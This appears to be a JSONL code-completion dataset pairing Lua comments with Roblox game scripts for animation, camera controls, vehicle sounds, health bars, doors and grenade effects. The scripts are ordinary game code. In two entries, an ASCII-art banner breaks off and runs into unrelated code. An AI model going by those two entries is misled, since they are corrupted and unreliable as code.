-1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time - 4.3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "--[[\n\t\t___ _______ _ \n\t / _ |____/ ___/ / ___ ____ ___ (_)__ \n\t / __ /___/ /__/ _ \\/ _ `(_-<(_- 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0)) and vl.Brake.Value == 0 then\n\t\tcar.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength)\n\telse\n\t\tcar.Body.Creep.BV.MaxForce = Vector3.new(0,0,0)\n\tend\n\tcar.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1)))\nend\n"} +{"prompt": "--\t\tif self.L3ButtonDown then\n--\t\t\t-- L3 Thumbstick is depressed, right stick controls dolly in/out\n--\t\t\tif (input.Position.Y > THUMBSTICK_DEADZONE) then\n--\t\t\t\tself.currentZoomSpeed = 0.96\n--\t\t\telseif (input.Position.Y < -THUMBSTICK_DEADZONE) then\n--\t\t\t\tself.currentZoomSpeed = 1.04\n--\t\t\telse\n--\t\t\t\tself.currentZoomSpeed = 1.00\n--\t\t\tend\n--\t\telse", "completion": "\n\t\t\tif state == Enum.UserInputState.Cancel then\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tlocal inputVector = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\tif inputVector.magnitude > THUMBSTICK_DEADZONE then\n\t\t\t\tself.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y)\n\t\t\telse\n\t\t\t\tself.gamepadPanningCamera = ZERO_VECTOR2\n\t\t\tend\n\t\t--end\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction BaseCamera:DoKeyboardPanTurn(name, state, input)\n\tif not self.hasGameLoaded and VRService.VREnabled then\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tif state == Enum.UserInputState.Cancel then\n\t\tself.turningLeft = false\n\t\tself.turningRight = false\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\n\tif self.panBeginLook == nil and self.keyPanEnabled then\n\t\tif input.KeyCode == Enum.KeyCode.Left then\n\t\t\tself.turningLeft = state == Enum.UserInputState.Begin\n\t\telseif input.KeyCode == Enum.KeyCode.Right then\n\t\t\tself.turningRight = state == Enum.UserInputState.Begin\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction BaseCamera:DoPanRotateCamera(rotateAngle)\n\tlocal angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25)\n\tif angle ~= 0 then\n\t\tself.rotateInput = self.rotateInput + Vector2.new(angle, 0)\n\t\tself.lastUserPanCamera = tick()\n\t\tself.lastCameraTransform = nil\n\tend\nend\n\nfunction BaseCamera:DoKeyboardPan(name, state, input)\n\tif not self.hasGameLoaded and VRService.VREnabled then\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tif state ~= Enum.UserInputState.Begin then\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\tif self.panBeginLook == nil and self.keyPanEnabled then\n\t\tif input.KeyCode == Enum.KeyCode.Comma then\n\t\t\tself:DoPanRotateCamera(-math.pi*0.1875)\n\t\telseif input.KeyCode == Enum.KeyCode.Period then\n\t\t\tself:DoPanRotateCamera(math.pi*0.1875)\n\t\telseif input.KeyCode == Enum.KeyCode.PageUp then\n\t\t\tself.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15))\n\t\t\tself.lastCameraTransform = nil\n\t\telseif input.KeyCode == Enum.KeyCode.PageDown then\n\t\t\tself.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15))\n\t\t\tself.lastCameraTransform = nil\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nfunction BaseCamera:DoGamepadZoom(name, state, input)\n\tif input.UserInputType == self.activeGamepad then\n\t\tif input.KeyCode == Enum.KeyCode.ButtonR3 then\n\t\t\tif state == Enum.UserInputState.Begin then\n\t\t\t\tif self.distanceChangeEnabled then\n\t\t\t\t\tlocal dist = self:GetCameraToSubjectDistance()\n\t\t\t\t\tif FFlagUserThirdGamepadZoomStep then\n\t\t\t\t\t\tif dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then\n\t\t\t\t\t\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2)\n\t\t\t\t\t\telseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then\n\t\t\t\t\t\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif dist > 0.5 then\n\t\t\t\t\t\t\tself:SetCameraToSubjectDistance(0)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself:SetCameraToSubjectDistance(10)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telseif input.KeyCode == Enum.KeyCode.DPadLeft then\n\t\t\tself.dpadLeftDown = (state == Enum.UserInputState.Begin)\n\t\telseif input.KeyCode == Enum.KeyCode.DPadRight then\n\t\t\tself.dpadRightDown = (state == Enum.UserInputState.Begin)\n\t\tend\n\n\t\tif self.dpadLeftDown then\n\t\t\tself.currentZoomSpeed = 1.04\n\t\telseif self.dpadRightDown then\n\t\t\tself.currentZoomSpeed = 0.96\n\t\telse\n\t\t\tself.currentZoomSpeed = 1.00\n\t\tend\n\t\treturn Enum.ContextActionResult.Sink\n\tend\n\treturn Enum.ContextActionResult.Pass"} +{"prompt": "-- FOLDERS --", "completion": "\nlocal Modules = RS:WaitForChild(\"Modules\")\nlocal Remotes = RS:WaitForChild(\"Remotes\")\nlocal Hitboxes = RS:WaitForChild(\"Hitboxes\")\n\nlocal RunService = game:GetService(\"RunService\")"} +{"prompt": "--[[\n\t ___ _______ _ _______\n\t / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/\n\t / __ /___/ /__/ _ \\/ _ `(_-<(_-= BOVact2 then if FE then handler:FireServer(\"stopSound\",\"BOV\") else car.DriveSeat.BOV:Stop() end end\n\t\n\tif FE then\n\t\thandler:FireServer(\"updateSound\",\"Whistle\",script.Whistle.SoundId,WP,WV)\n\t\thandler:FireServer(\"updateSound\",\"BOV\",script.BOV.SoundId,BP,BV)\n\telse\n\t\tcar.DriveSeat.Whistle.Pitch = WP\n\t\tcar.DriveSeat.Whistle.Volume = WV\n\t\tcar.DriveSeat.BOV.Pitch = BP\n\t\tcar.DriveSeat.BOV.Volume = BV\n\tend\n\tif (tick()-ticc) >= 0.1 then\n\t\tBOVact2 = math.floor(psi*20)\n\t\tticc = tick()\n\tend\nend\n"} +{"prompt": "-- Thanks go to TimeTicks for the code :^)", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nlocal char = player.Character or player.CharacterAdded:wait()\nlocal human = char:WaitForChild('Humanoid')\n\ntool.Equipped:connect(function()\n\thuman.WalkSpeed = 9\nend)\n\ntool.Unequipped:connect(function()\n\thuman.WalkSpeed = 16\t\t-- Change to the default movement speed of your game \nend)\n"} +{"prompt": "-- PROPERTIES", "completion": "\nIconController.topbarEnabled = true\nIconController.controllerModeEnabled = false\nIconController.previousTopbarEnabled = checkTopbarEnabled()\nIconController.leftGap = 12\nIconController.midGap = 12\nIconController.rightGap = 12\nIconController.leftOffset = 0\nIconController.rightOffset = 0\nIconController.mimicCoreGui = true\nIconController.healthbarDisabled = false\n"} +{"prompt": "--Usering", "completion": "\n\nwait()\nPlayer = game.Players.LocalPlayer\nrepeat wait() until Player.Character\n\n\nCharacter = Player.Character\nHumanoid = Character:WaitForChild(\"Humanoid\")\n\nlocal function round(n)\n\treturn math.floor(n + 0.5)\nend\n\nscript.Parent.TextLabel.Text = round(Humanoid.Health)\nscript.Parent.TextLabel2.Text = round(Humanoid.MaxHealth)\nHumanoid.HealthChanged:connect(function()\n\tscript.Parent.Overlay:TweenSize(UDim2.new(Humanoid.Health/Humanoid.MaxHealth,0,1,0),\"Out\",\"Quad\",.25)\n\tscript.Parent.TextLabel.Text = round(Humanoid.Health)\n\tscript.Parent.TextLabel2.Text = round(Humanoid.MaxHealth)\n\tscript.Parent.Overlay.Image = (\"rbxassetid://4312022958\")\n\twait(0.1)\n\tif Humanoid.Health <= (Humanoid.MaxHealth * 0.2) then\n\t\tscript.Parent.Overlay.Image = (\"rbxassetid://1076384780\")\n\telse\n\t\tscript.Parent.Overlay.Image = (\"rbxassetid://1076384598\")\n\tend\nend)\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nDebris = game:GetService(\"Debris\")\n\nRbxUtility = require(game.ReplicatedStorage.LoadLibrary.RbxUtility)\nCreate = RbxUtility.Create\n\nFunctions = {}\n\t\nfunction Functions.IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction Functions.TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Create(\"ObjectValue\"){\n\t\tName = \"creator\",\n\t\tValue = player,\n\t}\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction Functions.UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Functions.Clamp(Number, Min, Max)\n\treturn math.max(math.min(Max, Number), Min)\nend\n\nfunction Functions.GetPercentage(Start, End, Number)\n\treturn (((Number - Start) / (End - Start)) * 100)\nend\n\nfunction Functions.Round(Number, RoundDecimal)\n\tlocal WholeNumber, Decimal = math.modf(Number)\n\treturn ((Decimal >= RoundDecimal and math.ceil(Number)) or (Decimal < RoundDecimal and math.floor(Number)))\nend\n\nfunction Functions.GetAllConnectedParts(Object)\n\tlocal Parts = {}\n\tlocal function GetConnectedParts(Object)\n\t\tfor i, v in pairs(Object:GetConnectedParts()) do\n\t\t\tlocal Ignore = false\n\t\t\tfor ii, vv in pairs(Parts) do\n\t\t\t\tif v == vv then\n\t\t\t\t\tIgnore = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tif not Ignore then\n\t\t\t\ttable.insert(Parts, v)\n\t\t\t\tGetConnectedParts(v)\n\t\t\tend\n\t\tend\n\tend\n\tGetConnectedParts(Object)\n\treturn Parts\nend\n\nfunction Functions.CheckTableForInstance(Table, Instance)\n\tfor i, v in pairs(Table) do\n\t\tif v == Instance then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction Functions.CheckTableForString(Table, String)\n\tfor i, v in pairs(Table) do\n\t\tif string.find(string.lower(String), string.lower(v)) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction Functions.CheckIntangible(Hit)\n\tlocal ProjectileNames = {\"Lightning\", \"Water\", \"Arrow\", \"Projectile\", \"Effect\", \"Rail\", \"Laser\", \"Bullet\"}\n\tif Hit and Hit.Parent then\n\t\tlocal HumanoidFound\n\t\tfor i, v in pairs(Hit.Parent:GetChildren()) do\n\t\t\tif v:IsA(\"Humanoid\") then\n\t\t\t\tHumanoidFound = v\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif not HumanoidFound and ((not Hit.CanCollide and Hit.Transparency >= 1) or Functions.CheckTableForString(ProjectileNames, Hit.Name) or Hit.Parent:IsA(\"Hat\") or Hit.Parent:IsA(\"Tool\")) then\n\t\t\treturn true --Can pass through object hit.\n\t\tend\n\tend\n\treturn false --Cannot go through object hit.\nend\n\nfunction Functions.CastRay(StartPos, Vec, Length, Ignore, DelayIfHit)\n\tlocal Ignore = ((type(Ignore) == \"table\" and Ignore) or {Ignore})\n\tlocal RayHit, RayPos, RayNormal = game:GetService(\"Workspace\"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore)\n\tif RayHit and Functions.CheckIntangible(RayHit) then\n\t\tif DelayIfHit then\n\t\t\twait()\n\t\tend\n\t\tRayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit)\n\tend\n\treturn RayHit, RayPos, RayNormal\nend\n\nreturn Functions\n"} +{"prompt": "--[[**\n\tensures Roblox Vector2 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Vector2 = primitive(\"Vector2\")\n"} +{"prompt": "-- Initialize move tool", "completion": "\nlocal MoveTool = require(CoreTools.MoveTool);\nCore.AssignHotkey('Z', Core.Support.Call(Core.EquipTool, MoveTool));\nCore.Dock.AddToolButton(Core.Assets.MoveIcon, 'Z', MoveTool, 'MoveInfo');\n"} +{"prompt": "--//Toggle event//--", "completion": "\nscript.Parent.Door.MainDoor.ClickDetector.MouseClick:Connect(function()\n\tif DoorStatus == \"Closed\" and Debounce == false then\n\t\tDebounce = true\n\t\tDoorMain.Open:Play()\n\t\tDoor.HandleUno.HingeConstraint.TargetAngle=70\n\t\tDoor.HandleDos.HingeConstraint.TargetAngle=-70\n\t\tGlobal.TweenModel(script.Parent.Door, TGP, true, .5)\n\t\tDoor.HandleUno.HingeConstraint.TargetAngle=0\n\t\tDoor.HandleDos.HingeConstraint.TargetAngle=0\n\t\tDoorStatus = \"Opened\"\n\t\tDebounce = false\n\telseif DoorStatus == \"Opened\" and Debounce == false then\n\t\tDebounce = true\n\t\tDoorMain.Close:Play()\n\t\tGlobal.TweenModel(script.Parent.Door, OrigPos, true, .5)\n\t\tDoorStatus = \"Closed\"\n\t\tDebounce = false\n\tend\n\tend)\n"} +{"prompt": "-- sound group for easy main volume tweaking", "completion": "\nlocal SoundGroup = Instance.new(\"SoundGroup\")\nSoundGroup.Name = \"__RainSoundGroup\"\nSoundGroup.Volume = RAIN_SOUND_BASEVOLUME\nSoundGroup.Archivable = false\n\nlocal Sound = Instance.new(\"Sound\")\nSound.Name = \"RainSound\"\nSound.Volume = volumeTarget\nSound.SoundId = RAIN_SOUND_ASSET\nSound.Looped = true\nSound.SoundGroup = SoundGroup\nSound.Parent = SoundGroup\nSound.Archivable = false\n"} +{"prompt": "--------------------[ GRENADE FUNCTIONS ]---------------------------------------------", "completion": "\n\nfunction CreateGrenade()\n\tlocal Grenade = Instance.new(\"Model\")\n\t\n\tlocal Center = Instance.new(\"Part\")\n\tCenter.BrickColor = S.GrenadeColor\n\tCenter.Name = \"Center\"\n\tCenter.CanCollide = false\n\tCenter.Elasticity = 0\n\tCenter.FormFactor = Enum.FormFactor.Custom\n\tCenter.Size = S.GrenadeSize\n\tCenter.BottomSurface = Enum.SurfaceType.Smooth\n\tCenter.TopSurface = Enum.SurfaceType.Smooth\n\tCenter.Parent = Grenade\n\t\n\tlocal Mesh1 = Instance.new(\"SpecialMesh\")\n\tMesh1.MeshType = Enum.MeshType.Sphere\n\tMesh1.Parent = Center\n\t\n\treturn Grenade\nend\n\nfunction CreateKnife()\n\tlocal Knife = Instance.new(\"Part\")\n\tKnife.BrickColor = S.GrenadeColor\n\tKnife.Name = \"Knife\"\n\tKnife.CanCollide = false\n\tKnife.FormFactor = Enum.FormFactor.Custom\n\tKnife.Size = VEC3(1, 1, 3)\n\t\n\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\tMesh.MeshId = \"http://www.roblox.com/asset/?id=12221720\"\n\tMesh.MeshType = Enum.MeshType.FileMesh\n\tMesh.Scale = VEC3(0.5, 0.5, 0.5)\n\tMesh.Parent = Knife\n\t\n\treturn Knife\nend\n\nfunction CreateTarget()\n\tlocal Target = Instance.new(\"Model\")\n\t\n\tlocal Center = Instance.new(\"Part\")\n\tCenter.BrickColor = BrickColor.new(\"Bright red\")\n\tCenter.Material = Enum.Material.SmoothPlastic\n\tCenter.Transparency = 0.3\n\tCenter.Name = \"Center\"\n\tCenter.Anchored = true\n\tCenter.CanCollide = false\n\tCenter.FormFactor = Enum.FormFactor.Custom\n\tCenter.Size = VEC3(4, 0.2, 4)\n\tCenter.Parent = Target\n\tlocal CylinderMesh = Instance.new(\"CylinderMesh\")\n\tCylinderMesh.Parent = Center\n\t\n\tlocal Line = Instance.new(\"Part\")\n\tLine.BrickColor = BrickColor.new(\"Bright red\")\n\tLine.Transparency = 0.3\n\tLine.Name = \"Line\"\n\tLine.CFrame = Center.CFrame * CFrame.new(0, 5.1, 0)\n\tLine.Anchored = true\n\tLine.CanCollide = false\n\tLine.FormFactor = Enum.FormFactor.Custom\n\tLine.Size = VEC3(0.4, 10, 0.4)\n\tLine.BottomSurface = Enum.SurfaceType.Smooth\n\tLine.TopSurface = Enum.SurfaceType.Smooth\n\tLine.Parent = Target\n\t\n\treturn Target\nend\n\nfunction DetonateExplosive(Grenade)\n\tCreateShockwave(Grenade.Position, S.GrenadeBlastRadius)\n\tlocal GrenadePos = Grenade.Position\n\tlocal E = Instance.new(\"Explosion\")\n\tE.BlastPressure = S.GrenadeBlastPressure\n\tE.BlastRadius = S.GrenadeBlastRadius\n\tE.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1)\n\tE.ExplosionType = S.GrenadeExplosionType\n\tE.Position = GrenadePos\n\tE.Hit:connect(function(HObj, HDist)\n\t\tif HObj.Name == \"Torso\" and (not HObj:IsDescendantOf(Character)) then\n\t\t\tif S.GrenadeRangeBasedDamage then\n\t\t\t\tlocal ClosestPart = nil\n\t\t\t\tlocal ClosestDist = math.huge\n\t\t\t\t\n\t\t\t\tfor _, P in pairs(HObj.Parent:GetChildren()) do\n\t\t\t\t\tif P:IsA(\"BasePart\") then\n\t\t\t\t\t\tlocal Dist = (GrenadePos - P.Position).magnitude\n\t\t\t\t\t\tif Dist < ClosestDist then\n\t\t\t\t\t\t\tClosestPart = P\n\t\t\t\t\t\t\tClosestDist = Dist\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal Dir = (ClosestPart.Position - GrenadePos).unit\n\t\t\t\tlocal H, P = AdvRayCast(GrenadePos, Dir, 999)\n\t\t\t\tlocal RayHitHuman = H:IsDescendantOf(HObj.Parent)\n\t\t\t\tif (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then\n\t\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\t\tlocal DistFactor = ClosestDist / S.GrenadeBlastRadius\n\t\t\t\t\t\tlocal DistInvert = math.max(1 - DistFactor,0)\n\t\t\t\t\t\tlocal NewDamage = DistInvert * S.LethalGrenadeDamage\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\t\tCreatorTag.Value = Player\n\t\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\t\tHitHumanoid:TakeDamage(NewDamage)\n\t\t\t\t\t\tMarkHit()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal HitHumanoid = FindFirstClass(HObj.Parent, \"Humanoid\")\n\t\t\t\tif HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then\n\t\t\t\t\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\t\t\t\t\tCreatorTag.Value = Player\n\t\t\t\t\tCreatorTag.Name = \"creator\"\n\t\t\t\t\tCreatorTag.Parent = HitHumanoid\n\t\t\t\t\tMarkHit()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tE.Parent = game.Workspace\n\t\n\twait()\n\t\n\tGrenade.Parent:Destroy()\nend\n\nfunction DetonateSmoke(Grenade)\n\tCreateShockwave(Grenade.Position, S.GrenadeEffectRadius)\n\tlocal GrenadePos = Grenade.Position\n\t\n\tspawn(function()\n\t\tfor i = 1, math.floor(S.GrenadeEffectRadius / 5) + RAND(5, 10) do\n\t\t\tlocal Size = RAND(S.GrenadeEffectRadius * 0.6, S.GrenadeEffectRadius * 0.8)\n\t\t\tlocal Dist = RAND(0, S.GrenadeEffectRadius - Size)\n\t\t\tlocal XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10))\n\t\t\tlocal RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector\n\t\t\tlocal Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist))\n\t\t\t\n\t\t\tlocal Smoke = Instance.new(\"Part\")\n\t\t\tSmoke.Transparency = 1\n\t\t\tSmoke.Name = \"Smoke\"\n\t\t\tSmoke.Anchored = true\n\t\t\tSmoke.CanCollide = false\n\t\t\tSmoke.FormFactor = Enum.FormFactor.Symmetric\n\t\t\tSmoke.Size = VEC3(1, 1, 1)\n\t\t\tSmoke.TopSurface = Enum.SurfaceType.Smooth\n\t\t\tSmoke.BottomSurface = Enum.SurfaceType.Smooth\n\t\t\t\n\t\t\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\t\t\tMesh.MeshType = Enum.MeshType.Sphere\n\t\t\tMesh.Scale = VEC3(Size, Size, Size)\n\t\t\tMesh.Parent = Smoke\n\t\t\t\n\t\t\tSmoke.Parent = Gun_Ignore\n\t\t\tSmoke.CFrame = CF(Pos)\n\t\t\t\n\t\t\tspawn(function()\n\t\t\t\tlocal Trans = RAND(0.3, 0.5, 0.01)\n\t\t\t\tfor X = 0, 90, 2 do\n\t\t\t\t\tSmoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X)))\n\t\t\t\t\tSmoke.Transparency = NumLerp(1, Trans, Sine(X))\n\t\t\t\t\tRS:wait()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\twait(S.GrenadeEffectTime)\n\t\t\t\t\n\t\t\t\tfor X = 0, 90, 0.5 do\n\t\t\t\t\tSmoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X))))\n\t\t\t\t\tSmoke.Transparency = NumLerp(Trans, 1, Sine(X))\n\t\t\t\t\tRS:wait()\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tSmoke:Destroy()\n\t\t\tend)\n\t\t\t\n\t\t\tif i % 3 == 0 then\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\twait()\n\t\n\tGrenade.Parent:Destroy()\nend\n\nfunction ThrowGrenade(Type)\n\tlocal Grenade0 = nil\n\tif S.TrajectoryAssist then\n\t\tspawn(function()\n\t\t\tlocal X = 0\n\t\t\tlocal Vel = (Type == 1 and S.LethalGrenadeThrowVelocity or S.TacticalGrenadeThrowVelocity)\n\t\t\t\n\t\t\tlocal GetX = function(Ang, T)\n\t\t\t\tlocal Vx = Vel * math.cos(Ang)\n\t\t\t\treturn Vx * T\n\t\t\tend\n\t\t\t\n\t\t\tlocal GetY = function(Ang, T)\n\t\t\t\tlocal V0y = Vel * math.sin(Ang)\n\t\t\t\tlocal Vy = V0y + (-196.2 * T)\n\t\t\t\treturn (Vy * T) - (-98.1 * T * T)\n\t\t\tend\n\t\t\t\n\t\t\tlocal Target = CreateTarget()\n\t\t\tTarget.Parent = game.Workspace\n\t\t\tTarget.PrimaryPart = Target:WaitForChild(\"Center\")\n\t\t\t\n\t\t\twhile (Keys[S.LethalGrenadeKey] or Keys[S.TacticalGrenadeKey]) and Selected do\n\t\t\t\tX = X + math.rad(10)\n\t\t\t\tfor _,v in pairs(Target:GetChildren()) do\n\t\t\t\t\tv.Transparency = 0.2 + ((math.sin(X) + 1) / 5)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal Lines = {}\n\t\t\t\tlocal LastX, LastY = nil, nil\n\t\t\t\tfor T = 0, 10, 0.1 do\n\t\t\t\t\tlocal XPos = GetX(math.rad(7) - HeadRot, T)\n\t\t\t\t\tlocal YPos = GetY(math.rad(7) - HeadRot, T)\n\t\t\t\t\tif LastX and LastY then\n\t\t\t\t\t\tlocal LookV3 = HRP.CFrame.lookVector\n\t\t\t\t\t\tlocal LastPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * LastX) + VEC3(0, LastY, 0)\n\t\t\t\t\t\tlocal NewPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * XPos) + VEC3(0, YPos, 0)\n\t\t\t\t\t\tlocal LineCF = CF(LastPos, NewPos)\n\t\t\t\t\t\tlocal Dist = (LastPos - NewPos).magnitude\n\t\t\t\t\t\tlocal NewDist = Dist\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal H, P = AdvRayCast(LastPos, (NewPos - LastPos), 1, {Camera, unpack(Ignore)})\n\t\t\t\t\t\tif H then\n\t\t\t\t\t\t\tNewDist = (P - LastPos).magnitude\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tlocal SurfaceCF = GetHitSurfaceCFrame(P, H)\n\t\t\t\t\t\t\tlocal SurfaceDir = CF(H.CFrame.p, SurfaceCF.p)\n\t\t\t\t\t\t\tlocal SurfaceDist = SurfaceDir.lookVector * (H.CFrame.p - SurfaceCF.p).magnitude / 2\n\t\t\t\t\t\t\tlocal SurfaceOffset = P - SurfaceCF.p + SurfaceDist\n\t\t\t\t\t\t\tlocal SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tTarget:SetPrimaryPartCFrame(SurfaceCFrame * CFANG(RAD(-90), 0, 0))\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tTarget.Parent = Camera\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tTarget.Parent = nil\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal Line = Instance.new(\"Part\")\n\t\t\t\t\t\tLine.BrickColor = BrickColor.Red()\n\t\t\t\t\t\tLine.Material = Enum.Material.SmoothPlastic\n\t\t\t\t\t\tLine.Transparency = 0.2 + ((math.sin(X) + 1) / 5)\n\t\t\t\t\t\tLine.Anchored = true\n\t\t\t\t\t\tLine.CanCollide = false\n\t\t\t\t\t\tLine.FormFactor = Enum.FormFactor.Custom\n\t\t\t\t\t\tLine.Size = Vector3.new(0.4, 0.4, NewDist)\n\t\t\t\t\t\tLine.TopSurface = Enum.SurfaceType.Smooth\n\t\t\t\t\t\tLine.BottomSurface = Enum.SurfaceType.Smooth\n\t\t\t\t\t\tLine.CFrame = LineCF + (LineCF.lookVector * NewDist / 2)\n\t\t\t\t\t\tLine.Parent = 